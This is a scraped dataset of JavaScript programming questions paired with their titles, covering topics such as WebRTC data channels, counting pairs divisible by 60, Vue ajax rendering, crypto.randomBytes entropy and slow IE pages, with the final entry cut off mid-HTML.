//pastebin.com/Ktmb3mVf `` -- complete '' > host.dataChannel.send ( 'hello world ' ) ; VM1387:2 Uncaught DOMException : Failed to execute 'send ' on 'RTCDataChannel ' : RTCDataChannel.readyState is not 'open ' `` -- complete '' ICE failed , see about : webrtc for more details > host.dataChannel.send ( 'hello world ' ) ; InvalidStateError : An attempt was made to use an object that is not , or is no longer , usable",WebRTC : Unable to successfully complete signalling process using DataChannel "JS : Given an array , how do you find the number of couples ( two values ) that add up to 60 or a value divisible by 60 . Note : Must be faster than O ( N^2 ) .Input : [ 10 , 50 , 30 , 90 ] Output : 2 Reasoning : 10+50 = 60 , 30 + 90 = 120 ( 120 is divisible by 60 ) Input : [ 60,60,60 ] Output : 3Reasoning : 60 + 60 = 120 , 60 + 60 = 120 , 60 + 60 = 120The code I have below would run in O ( N ) time , but I do not know how to take care of the pairs that are equal to each other ( ie if you have 2 30 values in the array that would add 1 to your counter , but if you have 3 30 values in the array that would add 3 to your counter ) . I figured I should create a combination function ( ie 2C2 or 3C2 ) , but that is a linear function and would n't that just make the function back to O ( N^2 ) ? values ( myList ) { var obj = { } ; var count = 0 ; // loop through array and mod each value and insert it into a dictionary myList.forEach ( ( elem , index ) = > { if ( ! obj.hasOwnProperty ( elem % 60 ) ) { obj [ elem % 60 ] = 1 ; } else { obj [ elem % 60 ] ++ ; } } ) ; for ( var keys in obj ) { if ( obj.hasOwnProperty ( 60 - keys ) ) { if ( 60 - keys == keys ) { // take care of pairs // obj [ keys ] = x -- > xC2 } else { count += Math.min ( obj [ keys ] , obj [ 60 - keys ] ) ; delete obj [ keys ] delete obj [ 60 - keys ] ; } } } return count ; }","Given an array , count the pairs whose sums are multiples of 60" "JS : i have been trying to find a solution to this for several months now . it is for an art project of mine . so far i could find partial python and c solutions , but they are of no use for my case ... i need a working solution either in PHP or Javascript.this is the question : find all possible combinations of N numbers , the following should be satisfied : numbers are not repeated within a combinationnumbers are not repeated in other solutions in different orderonly whole numbers are being usedwithin a certain range of whole numbersthat add up to Xfor example : find all combinations of 3 numberswithin all numbers from 1-12that add up to 15the computed solution should spit out : obviously that was easy to do in a couple of minutes by hand , but i need to calculate a much bigger range and much more numbers , so i need a short script to do this for me ... any help would be appreciated ! [ 1,2,12 ] [ 1,3,11 ] [ 1,4,10 ] [ 1,5,9 ] [ 1,6,8 ] [ 1,7,7 ] = EXAMPLE OF WRONG OUTPUT , NO REPEATING NUMBERS WITHIN COMBINATION [ 1,8,6 ] = EXAMPLE OF WRONG OUTPUT , NO REPEATING NUMBERS IN OTHER SOLUTIONS ( see [ 1,6,8 ] ) [ 2,3,10 ] [ 2,4,9 ] [ 2,5,8 ] [ 2,6,7 ] [ 3,4,8 ] [ 3,5,7 ] [ 4,5,6 ]",find all possible combinations of N non-repeating numbers within a certain range that add up to X "JS : Consider this javascript code : Will the garbage collector ( GC ) have work to do after this sort of operation ? ( I 'm wondering whether I should worry about assigning string literals when trying to minimize GC pauses . ) e : I 'm slightly amused that , although I stated explicitly in my question that I needed to minimize GC , everyone assumed I 'm wrong about that . If one really must know the particular details : I 've got a game in javascript -- it runs fine in Chrome , but in Firefox has semi-frequent pauses , that seem to be due to GC . ( I 've even checked with the MemChaser extension for Firefox , and the pauses coincide exactly with garbage collection . ) var s = `` Some string '' ; s = `` More string '' ;",Does assigning a new string value create garbage that needs collecting ? "JS : Building a website for a client I would need to embed GMaps on a regular basis . For the purpose , I use maplace.js.It all works rather nicely but I have noticed something odd.I have enabled the new `` look '' of google maps on my Google account , so now it looks very nice and clean : Here , I can generate an iFrame for manual embedding of a GMap on my website , keeping that new , clean look and rather convenient `` get directions '' overlay : However , when using maplace.js ( and thus , in effect the maps API ) I still get the old look and noe of the nice and clean controls : I have searched high and low for a way to make thinks look the same as in the Google generated frames , but no luck.These are the includes I use to get things done : And this is the CSS that is applied to the map : And the actual map embedding : Anybody have thoughts on this ? < script type= '' text/javascript '' src= '' http : //maps.google.com/maps/api/js ? sensor=false & libraries=geometry & v=3.exp '' > < /script > < script type= '' text/javascript '' src= '' /Scripts/maplace.min.js '' > < /script > # gmap { height : 300px ; width : 100 % ; } < script > new Maplace ( { map_options : { scrollwheel : false , navigationControl : true , mapTypeControl : false , scaleControl : false , draggable : false , mapTypeId : google.maps.MapTypeId.ROADMAP } , visualRefresh : true , locations : [ { lat : 50.871197 , lon : 4.696941000000038 , zoom : 15 } ] } ) .Load ( ) ; < /script >",Trouble getting `` new look '' Google Maps embedded "JS : All , I use JSLint to validate my JS files . In my most recent project , I am using the following format to set default values for a number of JavaScript functions ( further detailed here ) : This however causes the latest build of JSLint to produce the following error : I am aware that using the more common method for assigning defaults ( i.e. , option = option || { } ; ) supresses the error ; however , this will produce incorrect behaviour if I intend to pass a falsey value to option.Is the only solution to this issue to introduce a new variable ? e.g . : function ( a , b , option ) { option = arguments.length > 2 ? option : `` some default value '' ; // ... } `` Do not mutate parameter 'option ' when using 'arguments ' . '' var option2 = arguments.length > 2 ? option : `` some default value '' ;",JSLint - Do not mutate parameter < x > when using 'arguments ' ? "JS : I have a textarea with lots of lines that look like : I 'm using regex to find the # num= pattern ( /^ # [ 0-9 ] *=/ ) and I want to make them anchor tags likeBut it wo n't work as I thought it would.The result : What am I doing wrong ? # 1=stuff # 2=more stuff ... # 123=even more stuff ... < a href= ' # 123= ' > # 123= < /a > `` # 2= '' .replace ( /^ # [ 0-9 ] *=/ , '' < a href= ' $ 1 ' > $ 1 < /a > '' ) < a href= ' $ 1 ' > $ 1 < /a >",Regex to wrap strings with HTML tags "JS : I want to open new window if `` F2 '' pressed . Below code gives me newWindow is null error message in firefox . If I do n't use pop-up blocker it works . The same in IE . It work in chrome even with pop-up blocker on.using jstree pre 1.0 stableQ1 : Can I make it work for all browsers so users do n't have to change their settings when using hotkeys plugin ? Q2 : How come Using JavaScript instead of target to open new windows works without any troubles in firefox ? Is that because it 's a link and not using hotkeys plugin ? My understanding is that the script from above page somehowmanipulates what happenswhen user clicks a link . It changes the properties of the click sobrowsers `` do n't know '' that it 's new window so pop-up blocker isbypassed.In my case I use pure js function triggered by something else , not bya user click . And that 'my function ' does n't changes properties of any html objects . I think this is the difference . I am not sure if I amright here . hotkeys : { `` f3 '' : function ( ) { url = `` http : //www.vse.cz '' ; var newWindow = window.open ( url , '_blank ' ) ; newWindow.focus ( ) ; return false ; } ,",hotkey plugin opens new window even if pop-ups are blocked ? JS : I am using arrow keys to move an object in my code . Everything works fine except that the mouse cursor disappears when I press any of the arrow keys . How can I make the cursor stay visible ? I am using this code check for arrow keys pressed . $ ( document ) .ready ( function ( ) { $ ( document ) .keydown ( function ( event ) { checkKeys ( event ) ; } ) .keyup ( function ( event ) { keyUp ( event ) ; } ) ; } ) ;,Mouse cursor disaappears on keypress event in Jquery "JS : I 'm looking through the Vows documentation and in several places it uses the syntaxe.g.I am familiar with new MyFunction ( ) and new MyFunction ( and yes , I have read this question ) . But the syntax above is , well , new to me - it looks like a function call , though I suspect it 's just new MyFunction with some added parentheses . Is there any difference between these ways of using new ? If not , is there any good argument for using one or the other ? I would have thought new MyFunction ( ) was the most legible.Apologies if this is a duplicate - I searched but could n't find it . var myVar = new ( MyFunction ) ; var promise = new ( events.EventEmitter ) ;",new MyFunction ( ) vs. new ( MyFunction ) "JS : Does anyone know if there 's a Pubnub function to unsubscribe all the users from a channel at once ? And I mean without manipulating the regular functionI started building a function for mass unsubscribing myself - but hey , it 's always a good idea to ask around before trying something obnoxious ! p.s - sorry if this Pubnub question has been asked before.I looked around and it seemed unanswered . Thanks ! pubnub.unsubscribe ( { channel : 'my_channel ' , callback : function ( ) { /* something */ } } ) ;",Pubnub - unsubscribe all active users from a specific channel "JS : In the mozilla docs on performance best practices for front-end engineers it 's recommended to combine setTimeout with requestAnimationFrame to run something immediately after a repaint : Why is this the recommended solution ? What exactly makes this the optimal way to schedule something right after a repaint ? requestAnimationFrame ( ( ) = > { setTimeout ( ( ) = > { // This code will be run ASAP after Style and Layout information have // been calculated and the paint has occurred . Unless something else // has dirtied the DOM very early , querying for style and layout information // here should be cheap . } , 0 ) ; } ) ;",Why is it recommend to nest setTimeout in requestAnimationFrame when scheduling something after a repaint ? "JS : I have the following Redux action creator : And the following connected component : I am trying to write a test to ensure that dispatch is called with the keyDown action when the tagName is anything other than `` INPUT '' . This is my test : Presumably this is something to do with using arrow functions ? Is there any way I can ensure that dispatch was called with the function signature that I expect ? export const keyDown = key = > ( dispatch , getState ) = > { const { modifier } = getState ( ) .data ; dispatch ( { type : KEYDOWN , key } ) ; return handle ( modifier , key ) ; // Returns true or false } ; export const mapDispatchToProps = dispatch = > ( { onKeyDown : e = > { if ( e.target.tagName === `` INPUT '' ) return ; const handledKey = dispatch ( keyDown ( e.keyCode ) ) ; if ( handledKey ) { e.preventDefault ( ) ; } } } ) ; import { spy } from `` sinon '' ; import keycode from `` keycodes '' ; import { mapDispatchToProps } from `` ./connected-component '' ; import { keyDown } from `` ./actions '' ; // Creates a simple Event stub ... const createEvent = ( tag , keyCode ) = > ( { target : { tagName : tag.toUpperCase ( ) } , preventDefault : spy ( ) , keyCode } ) ; it ( `` Dispatches a keyDown event with the specified keyCode if the selected element is not an < input > '' , ( ) = > { const dispatch = spy ( ) ; const keyCode = keycode ( `` u '' ) ; mapDispatchToProps ( dispatch ) .onKeyDown ( createEvent ( `` div '' , keyCode ) ) ; // This fails ... expect ( dispatch ) .to.have.been.calledWith ( keyDown ( keycode ) ) ; } ) ;",How to unit test mapDispatchToProps with thunk action "JS : Im trying to make an app in Rails 4.I 'm struggling . I 'm trying to incorporate a bootstrap theme and I 'm getting issues with the vendor javascripts and the rest of the code.I think the problem might have something to do with having jQuery in my application.js and then having vendor .js files which start with a ' $ ' sign : I 've just read this : https : //learn.jquery.com/using-jquery-core/avoid-conflicts-other-libraries/My problem is though that I do n't know how to make the changes that make the code safe.Do I need to do a search for every ' $ ' in the vendor files or otherwise how do i put a safe wrapper on jQuery - especially where it is incorporated through a gem.Has anyone encountered these problems and figured out a solution ? I 'd love some help.Application.jsRelated problem : Rails 4 - incorporating vendor assetsObservationI 've noticed that the console log of errors shows problems with .js files in my app/assets/javascripts folder.They are the only other files in that folder ( aside from application.js ) . My application.js has 'require_tree ' so they will be compiled . But something I think might be conflicting in those files with ( perhaps ) the inclusion of jQuery in the application.js ? The log shows : Each of the js folders that are identified as errors are saved as .js files in app/assets/javascripts . Do I perhaps need to use a different file name ( .js.erb / js.coffee ) ? to make this work . Alternatively , do I need to put script tags around the content of those files ? For example , the first file opens with : UPDATEI think some part of my problem is to do with the files saved in app/assets/javascripts with `` .js '' extensions . Each of them shows in the console errors list as : $ .circleProgress = { //= require jquery//= require bootstrap-sprockets//= require jquery_ujs//= require html.sortable//= require disqus_rails//= require moment//= require bootstrap-datetimepicker//= require pickers//= require main//= require hammer.min//= require jquery.animate-enhanced.min//= require jquery.countTo//= require jquery.easing.1.3//= require jquery.fitvids//= require jquery.magnific-popup.min//= require jquery.parallax-1.1.3//= require jquery.properload//= require jquery.shuffle.modernizr.min//= require jquery.sudoSlider.min//= require jquery.superslides.min//= require masonry.pkgd.min//= require rotaterator//= require smoothscrolljs//= require waypoints.min//= require wow.min//= require gmaps/google//= require chosen-jquery//= require cocoon//= require imagesloaded.pkgd.min//= require isotope.pkgd.min//= require jquery.counterup.min//= require jquery.pjax//= require custom.js//= require slider//= require underscore//= require dependent-fields//= require_tree .//= require bootstrap-slider $ ( document ) .ready ( function ( ) { DependentFields.bind ( ) } ) ; Uncaught SyntaxError : Identifier 'findGoodContent ' has already been declaredcircle-progress.self-f67ec54c54a06da27d11cda862036a058792eadc8ef982df2e7c0a1682536c31.js:9 Uncaught TypeError : Can not set property 'circleProgress ' of undefinedconversations.self-832ece2867c1701a5202459ab73ecd6432da2a6c833d8822d37025845a0aefcc.js:10 Uncaught TypeError : $ is not a functionorganisations.self-6547f734e3a69b76176dfe5bb194e428c0bc560ad3fb69811dce9c7f8ccb9f4d.js:2 Uncaught TypeError : $ is not a functionhttp : //localhost:3000/assets/ % 3C % = % 20asset_path ( 'random.jpg ' ) % 20 % % 3E Failed to load resource : the server responded with a status of 400 ( Bad Request ) http : //localhost:3000/profiles/assets/images/grayscale.svg # greyscale Failed to load resource : the server responded with a status of 404 ( Not Found ) http : //localhost:3000/assets/vendor/assets/fonts/Simple-Line-Icons.woff Failed to load resource : the server responded with a status of 404 ( Not Found ) http : //localhost:3000/profiles/assets/custom/images/preloader.gif Failed to load resource : the server responded with a status of 404 ( Not Found ) chrome-extension : //mkjojgglmmcghgaiknnpgjgldgaocjfd/content/contentScripts/kwift.CHROME.min.js:1384 Uncaught SyntaxError : Identifier 'findGoodContent ' has already been declaredhttp : //localhost:3000/assets/flaticon.woff Failed to load resource : the server responded with a status of 404 ( Not Found ) http : //localhost:3000/assets/vendor/assets/fonts/Simple-Line-Icons.ttf Failed to load resource : the server responded with a status of 404 ( Not Found ) http : //localhost:3000/assets/flaticon.ttf Failed to load resource : the server responded with a status of 404 ( Not Found ) main.self-5888479bd3eb03114ce5776dd32cfadf84f1d3a4335043513f8b1606d3ab5f4a.js:316 Uncaught TypeError : dp ( ... ) .multipleFilterMasonry is not a function $ .circleProgress = { // Default options ( you may override them ) defaults : { /** * This is the only required option . It should be from 0.0 to 1.0 * @ type { float } */ value : 0 , kwift.CHROME.min.js:1271Uncaught SyntaxError : Identifier 'findGoodContent ' has already been declaredcircle-progress.self-f67ec54….js ? body=1:9 Uncaught TypeError : Can not set property 'circleProgress ' of undefined ( anonymous function ) @ circle-progress.self-f67ec54….js ? body=1:9conversations.self-832ece2….js ? body=1:10 Uncaught TypeError : $ is not a function ( anonymous function ) @ conversations.self-832ece2….js ? body=1:10organisations.self-6547f73….js ? body=1:2 Uncaught TypeError : $ is not a function ( anonymous function ) @ organisations.self-6547f73….js ? body=1:2 ( anonymous function ) @ organisations.self-6547f73….js ? body=1:6projects.self-9c019ba….js ? body=1:1 Uncaught TypeError : $ is not a function ( anonymous function ) @ projects.self-9c019ba….js ? body=1:1main.self-5888479….js ? body=1:316 Uncaught TypeError : dp ( ... ) .multipleFilterMasonry is not a functionwindow.onload @ main.self-5888479….js ? body=1:316kwift.CHROME.min.js:1271 Uncaught SyntaxError : Identifier 'findGoodContent ' has already been declared",Rails 4 jQuery conflicts with javascript "JS : The following is done in Firebug : I thought Javscript has some rule that says , if an Object or Array has the same references to the same elements , then they are equal ? But even if I sayIs there a way to make it so that it can do the element comparison and return true ? > > > [ 1 , 2 ] == [ 1 , 2 ] false > > > ( { a : 1 } ) == ( { a : 1 } ) false > > > foo = { a : 1 } Object { a=1 } > > > [ foo ] == [ foo ] false > > > ( { a : foo } ) == ( { a : foo } ) false","In Javascript , why is [ 1 , 2 ] == [ 1 , 2 ] or ( { a : 1 } ) == ( { a : 1 } ) false ?" "JS : I have some specific requirements around adding classes to links in ckeditor5 - I have read the docs and tried numerous approaches but I 'm still struggling to achieve what I want here . My requirements are : All links added ( whether using the link UI , or via paste ) must have a class assigned . That class should be set to defaultClass if no class is assigned or the class assigned is not in the list of valid classesLink classes must be in the list of valid link classesI have built a dropdown containing a list of the valid classes and added it to the link interfaceHere is the code I have so far : const { editor } = this const linkClasses = editor.config.get ( 'link.options.classes ' ) const defaultLinkClass = editor.config.get ( 'link.options.defaultClass ' ) editor.model.schema.extend ( ' $ text ' , { allowAttributes : 'linkClass ' } ) editor.conversion.for ( 'downcast ' ) .attributeToElement ( { model : 'linkClass ' , view : ( attributeValue , writer ) = > writer.createAttributeElement ( ' a ' , { class : attributeValue } , { priority : 5 } ) , converterPriority : 'low ' } ) editor.conversion.for ( 'upcast ' ) .attributeToAttribute ( { view : { name : ' a ' , key : 'class ' } , model : 'linkClass ' , converterPriority : 'low ' } )",Adding classes to links in CKeditor "JS : If you call setTimeout with a small or large negative number , the callback is run immediately , but with a medium-sized negative number , the callback is never run . Can someone explain this ? JSFiddle version ( tested on Chromium 57.0.2987.98 and on Firefox 50.1.0 ) // Y and Z are printed , but not Xvar x = -7677576503 ; var y = -1000000000 ; var z = -10000000000 ; setTimeout ( function ( ) { console.log ( ' x ' ) ; } , x ) ; setTimeout ( function ( ) { console.log ( ' y ' ) ; } , y ) ; setTimeout ( function ( ) { console.log ( ' z ' ) ; } , z ) ;",setTimeout does not work with medium-sized negative numbers "JS : There is a situation that I have to get extra data after my first ajax ( in mounted function ) in vuejs , I have put the second ajax in if condition and inside success function of the first ajax ! It is working and I see data in Vue Devtools in chrome , but data is not rendered in view.Pseudo Code : The Second Ajax Call to get a specific conversation messages is responding to onclick event and showing messages , but when this function is used inside the First Ajax success response ( getParticipants ( ) ) , its getting data correctly nd I can see in DevTools VueJs Extension that messages are set but view does not show messages , I have tried vm. $ set ( ) but no chance.Update : The second Ajax is working with no errors and messages data property get filled ( I checked Vue DevTools ) , The only problem is that view does not show the messages ! ! but when I do it manually by clicking on a conversation , second ajax is executed again and I can see messages ! , I also tried vm. $ forceUpdate ( ) after second ajax with no chance.Update2 html part ( the bug is here ! ! ) var vm = new Vue ( { el : ' # messages ' , data : { participants : [ ] , active_conversation : `` , messages : [ ] } , methods : { getParticipants : function ( ) { return this. $ http.post ( 'message/get-participants ' ) .then ( function ( response ) { vm.participants = response.data.participants ; // if there is a conversation_id param in url if ( getUrlParameterByName ( 'conversation_id ' ) ) { // Second Ajax Is Called Here inside First Ajax return vm.getConversationMessages ( getUrlParameterByName ( 'conversation_id ' ) ) ; // this ajax call is getting data but not showing in view } } } , getConversationMessages : function ( conv_id ) { // Second Ajax Call to get Conversation messages // and showing them , works onClick return this. $ http.post ( 'message/get-messages/ ' + conv_id ) .then ( function ( response ) { if ( response.data.status == 'success ' ) { console.log ( response.data.messages ) vm.messages = response.data.messages ; vm. $ forceUpdate ( ) ; } } , mounted : function ( ) { this.getParticipants ( ) } } ) < a vbind : id= '' conv.id '' v-on : click= '' getMessages ( conv.id ) '' onclick= '' $ ( ' # user-messages ' ) .addClass ( 'active ' ) '' >",vue js ajax inside another ajax is getting data but not rendering view "JS : In the documentation for this method it states that it will throw an exception if there is an inadequate amount of entropy to generate the data . My question pertains to the entropy . How is it generated and can you prevent an exception from being thrown by providing adequate entropy ? How common will an exception be thrown , or is it unknown ? Documentation for crypto.randomBytes : crypto.randomBytes ( size , [ callback ] ) Generates cryptographically strong pseudo-random data . Will throw error or invoke callback with error , if there is not enough accumulated entropy to generate cryptographically strong data . In other words , crypto.randomBytes without callback will not block even if all entropy sources are drained.In the following example , how would I handle an exception properly and still completely fill the array , basically ensuring the array has been filled completely with the generated bytes . Would I just catch the exception and generate a new array within the catch block , but would if that also throws an exception ? Essentially how would I make this code work properly 100 % of the time ? // asynccrypto.randomBytes ( 256 , function ( ex , buf ) { if ( ex ) throw ex ; console.log ( 'Have % d bytes of random data : % s ' , buf.length , buf ) ; } ) ; var codes = [ ] ; for ( var i = 0 ; i < 100 ; i++ ) { ( function ( i ) { crypto.randomBytes ( 256 , function ( ex , buf ) { if ( ex ) throw ex ; codes [ i ] = buf.toString ( 'hex ' ) ; } ) ; } ) ( i ) }",Crypto.randomBytes handling exception do to inadequate entropy ? "JS : I am trying to insert four spaces when the tab key is pressed . I was using the following code ( see spaces = `` \t '' ) , but when I switch it to spaces = `` `` only one space is inserted when I press tab . I also tried `` `` + `` `` + `` `` + `` `` : NOTE : This is to insert spaces in a browser-based textarea/ide . $ ( function ( ) { $ ( 'textarea ' ) .keydown ( function ( e ) { var keyCode = e.keyCode || e.which ; if ( keyCode == 9 ) { e.preventDefault ( ) ; var start = $ ( this ) .get ( 0 ) .selectionStart ; var end = $ ( this ) .get ( 0 ) .selectionEnd ; // set textarea value to : text before caret + tab + text after caret spaces = `` \t '' $ ( this ) .val ( $ ( this ) .val ( ) .substring ( 0 , start ) + spaces + $ ( this ) .val ( ) .substring ( end ) ) ; // put caret at right position again $ ( this ) .get ( 0 ) .selectionStart = $ ( this ) .get ( 0 ) .selectionEnd = start + 1 ; } } ) ; } ) ;",Insert four spaces instead of tab "JS : My scenario - I would like to open an upload dialog from my own button and get the uploaded file info . In Uploadcare JS version 0.12 I did the following : In 0.16 there 's no more uploadDone and all it does is return a promise without any data . What should I do ? $ ( `` .upload-image-button '' ) .on ( `` click '' , function ( ) { uploadcare.openDialog ( null , { imagesOnly : true } ) .uploadDone ( function ( info ) { setImage ( info.cdnUrl ) ; } ) ; } ) ;",Uploadcare : how to get uploaded file from openDialog ? "JS : I 'm working on a site that has a page that can potentially become very long . It can have in theory 1000+ rows of data in it . Then these rows could each have sub-rows.I 'm currently using a list / sublist structure to represent the data because it 's difficult to visualize subsets in tables . the subset data is in a table though.The Problem is this : In IE . my hovering over the row styles , tooltips and other javascripts are taking upwards of 5 seconds to fire ! The page hangs like crazy and is pretty much unuseable . In FF , Chrome , and Safari it works just fine.I do n't need a whole bunch of stats saying IE is slow . i know it is . what i need is some suggestions / theories/ ideas on how to combat the slowness ! Some of the ideas i 've had so far : -some kind of paging mechanism . But that gets tricky b/c 1 . It 's a list not a table , and 2. it 's got sub sub lists and sub tables for those sub lists . so we 'd need to somehow page based on the top level i think . because we do n't want to split the data up at all . I guess that might be feasible ... -some kind of mechanism that holds the content in a javascript array or object or soomething and does n't add it to the dom until it 's been scrolled to . and takes it away when you scroll past it . in theory this would be cool . but i think it would be horrible to impliment.-something else entirely ? Thanks in Advance for any ideas ! I 'm probably going to try and put a bounty on this as soon as i 'm able to help inspire you ; ) EDIT : OH MY ! I think i may have found part of the problem using dyna trace ! thanks Pointy for reminding me about this tool . i had forgotten about out . the click event of one of my buttons seems to be firing an insane amount . like 2000 times and count . something is clicking it automatically or something crazy like that . weird thing is , i do n't have any javascripts that trigger that button click ! EDIT : This does n't seem to be an issue anymore.EDIT : Also : i do n't think it is the complexity of my markup that is affecting the responsiveness of my scripts ( i know if i could use just id selectors it would be best , but i 've optimized my selectors and qtips as much as possible ( with help from s.o . in the past ) . i have a button that is just on the page , not nested in anything , that the click handler takes 4 or 5 seconds to register . It 's not that the click action takes a long time , it 's just slow to notice that it 's been clicked.EDIT : i had 5 spans that were each nested in a span unnecessarily , i un-nested those and it seems to have cut the slowness in about 1/2 ! ! ( these 5 spans were repeated in every row ) EDIT : Here 's some of the relevant scripts : The Main Button Handler : The Get ... FIlter functions are very simple functions that run in a few milliseconds ... nothing interesting or noteworthy happening in there.this bit attaches some of the behaviour that is very slow : in other pages they react nice and quick , on this page ... 2-3 seconds.There are 2 different versions of this for 2 different classes , one gets a single `` shift '' one gets the user s for a bunch of shifts . as with other things . once the function itself runs quick , the ajax is fast , the v2ReLoadScheduledActivitySection runs in about 50 ms. nothing interesting in there . : Here 's a bit of the HTML . this is the for a day ... the main list has one of these for every day of the year ( or whatever range they pick ) . There could be any number of sub li 's in that list , but it tends to be between 1-10.anything with TipMe , or GlossaryMe brings up a qtip tooltip.like this : Something tells me it might be all my tooltip handlers that are causing the problem ... Let me know if you guys want anything else ! $ ( ' # FilterScheduledShifts ' ) .click ( function ( ) { var categoryId = $ ( ' # CategoryId ' ) .val ( ) ; var activityId = $ ( ' # ActivityId ' ) .val ( ) ; var shiftStatusFilters = GetShiftStatusFilterIds ( ) ; var dayOfWeekFilters = GetDayOfWeekFilters ( ) ; var startDateFilter = GetStartDateFilter ( ) ; var endDateFilter = GetStartEndFilter ( ) ; var dataToPost = { categoryId : categoryId , activityId : activityId , statuses : shiftStatusFilters , daysOfWeek : dayOfWeekFilters , startDate : startDateFilter , endDate : endDateFilter } ; var url = $ ( ' # UrlToFilter ' ) .val ( ) ; $ ( ' # ListHolder ' ) .html ( `` < % =web.loading % > '' ) ; $ .ajax ( { url : url , data : dataToPost , type : 'POST ' , success : function ( data ) { document.getElementById ( 'ScheduledActivityShiftListHolder ' ) .innerHTML = data ; } , error : function ( ) { v2ErrorNotice ( v2Text.shared.genericAjaxErrorMessage ) ; } } ) ; } ) ; $ ( 'span.infoCard ' ) .die ( ) ; $ ( 'span.infoCard ' ) .live ( `` mouseover '' , function ( ) { var $ this = $ ( this ) ; if ( ! $ this.data ( `` toolTipAttached '' ) ) { var title = `` ; if ( $ this.attr ( 'infoCardTitle ' ) ! = `` '' ) { title = $ this.attr ( 'infoCardTitle ' ) ; } else { title = $ this.html ( ) ; } $ this.qtip ( { content : { text : `` loading '' , title : title , ajax : { url : $ this.attr ( 'urlToGet ' ) // data : data , } } , position : { at : 'right middle ' , my : 'left top ' , adjust : { screen : 'flip ' } } , hide : { fixed : true , when : 'mouseout ' } , show : { solo : true , delay : 500 , ready : true } , style : { classes : 'ui-tooltip-light InfoCardTip ' , widget : true , tip : { corner : true , width : 15 , height : 15 } } } ) ; $ this.data ( `` toolTipAttached '' , true ) ; } } ) ; $ ( 'div.GetShiftUserArrow ' ) .die ( 'click ' ) ; $ ( 'div.GetShiftUserArrow ' ) .live ( 'click ' , function ( ) { var listIsVisible = $ ( this ) .attr ( 'listIsVisible ' ) ; var holder = $ ( ' # ' + $ ( this ) .attr ( 'listHolder ' ) ) ; var activityHolder = $ ( ' # TopLevel { 0 } '.format ( $ ( this ) .attr ( 'activityShiftId ' ) ) ) ; if ( listIsVisible == -1 ) { v2ReLoadScheduledActivitySection ( $ ( this ) , 1 ) ; } else { holder.empty ( ) .toggle ( 'hide ' ) ; $ ( this ) .removeClass ( 'GetShiftUserArrowOpen ' ) ; $ ( this ) .attr ( 'listIsVisible ' , listIsVisible * -1 ) ; } } ) ; < li class= '' EntityRow '' style= '' font-weight : normal ; '' > < div class= '' TopLevelRow '' sectiondate= '' 1/21/2011 12:00:00 AM '' > < div class= '' ScheduleDayHeader OnlyFloatLeftInIE7 '' style= '' width:100 % ; margin-bottom:0px ; font-weight : normal ; '' > < div class= '' Buttons OnlyFloatLeftInIE7 '' style= '' padding-top:0px ; padding-bottom:0px ; margin-top:0px ; margin-bottom:0px ; '' > < div class= '' GetDayUserArrow OnlyFloatLeftInIE7 '' listisvisible= '' -1 '' sectiondate= '' 1/21/2011 12:00:00 AM '' url= '' /This/IsNot/TheReal/Url '' > < /div > < /div > < span class= '' CategorizedNameHolder OnlyFloatLeftInIE7 '' style= '' display : inline-block ; width:380px ; padding-bottom:2px ; '' > Friday , January 21 , 2011 < /span > < span class= '' TimeHolderSpan '' > Start < /span > < span class= '' TimeHolderSpan '' > End < /span > < span class= '' StatusIcons '' > Status < /span > < span class= '' SkinnyColumn GlossaryMe '' tooltip= '' A Number '' > Mn < /span > < span class= '' SkinnyColumn GlossaryMe '' tooltip= '' A Number '' > Mx < /span > < span class= '' SkinnyColumn GlossaryMe '' tooltip= '' A Number '' > BU < /span > < span class= `` SkinnyColumn GlossaryMe '' tooltip= '' A Number '' > Av < /span > < span class= '' SkinnyColumn GlossaryMe '' tooltip= '' Assigned '' > As < /span > < span class= '' SkinnyColumn GlossaryMe '' tooltip= '' A Number '' > Co < /span > < /div > < div class= '' ShiftListHolder '' sectiondate= '' 1/21/2011 12:00:00 AM '' > < ul class= '' ScheduledActivitiesForDayList EntityList FancyList SubList '' > < li class= '' EntityRow '' activityshiftid= '' 4645 '' id= '' ListItemFor4645 '' > < div class= '' BlueOnHover ScheduleShiftHeader '' style= '' width:100 % ; '' > < div class= '' Buttons OnlyFloatLeftInIE7 '' style= '' padding-top:0px ; padding-bottom:0px ; margin-top:0px ; margin-bottom:0px ; '' > < div class= '' GetShiftUserArrow OnlyFloatLeftInIE7 '' listisvisible= '' -1 '' activityshiftid= '' 4645 '' url= '' /Some/Url=4645 '' sectiondate= '' 1/21/2011 12:00:00 AM '' > < /div > < /div > < span class= '' CategorizedNameHolder OnlyFloatLeftInIE7 '' style= '' display : inline-block ; width:350px ; padding-bottom:2px ; '' > < span class= '' AssignLink '' activityshiftid= '' 4645 '' > SomeText < /span > < /span > < span class= '' TimeHolderSpan '' > 9:00 AM < /span > < span class= '' TimeHolderSpan '' > 12:30 PM < /span > < div class= '' StatusIcons OnlyFloatLeftInIE7 '' > < div class='TipMe LegendMe ClassToPickTheIcon ' tooltip='Min # scheduled ' legendgroupid= ' 5 ' > < span class='NoDisplay ' > 3 < /span > < /div > < div class='TipMe LegendMe OtherClassToPickTheIcon ' tooltip='Unlocked ' legendgroupid= ' 5 ' > < span class='NoDisplay ' > 2 < /span > < /div > < div class='TipMe LegendMe AnotherClassToPickTheIcon ' tooltip='Do not auto assign ' legendgroupid= ' 5 ' > < span class='NoDisplay ' > 1 < /span > < /div > < div class='TipMe LegendMe ClassToPickTheIconAgain ' tooltip='Do not autolock ' legendgroupid= ' 5 ' > < span class='NoDisplay ' > 1 < /span > < /div > < /div > < span class= '' OnlyFloatLeftInIE7 '' > < span class= '' SkinnyColumn TipMe ContentToolTip '' tooltip= '' A Number '' > 1 < /span > < span class= '' SkinnyColumn TipMe ContentToolTip '' tooltip= '' A Number '' > -- < /span > < span class= '' SkinnyColumn TipMe ContentToolTip '' tooltip= '' A Number '' > 0 < /span > < span class= '' SkinnyColumn TipMe ContentToolTip '' tooltip= '' A Number '' > 0 < /span > < span class= '' SkinnyColumn TipMe ContentToolTip '' tooltip= '' Assigned '' > 2 < /span > < span class= '' SkinnyColumn TipMe ContentToolTip '' tooltip= `` A Number '' > 0 < /span > < /span > < /div > < div class= '' UserListHoder '' id= '' UserListHolder4645 '' activityshiftid= '' 4645 '' > < /div > < /li > < li class= '' EntityRow '' activityshiftid= '' 4129 '' id= '' ListItemFor4129 '' > < div class= '' BlueOnHover ScheduleShiftHeader '' style= '' width:100 % ; '' > < div class= '' Buttons OnlyFloatLeftInIE7 '' style= '' padding-top:0px ; padding-bottom:0px ; margin-top:0px ; margin-bottom:0px ; '' > < div class= '' GetShiftUserArrow OnlyFloatLeftInIE7 '' listisvisible= '' -1 '' activityshiftid= '' 4129 '' 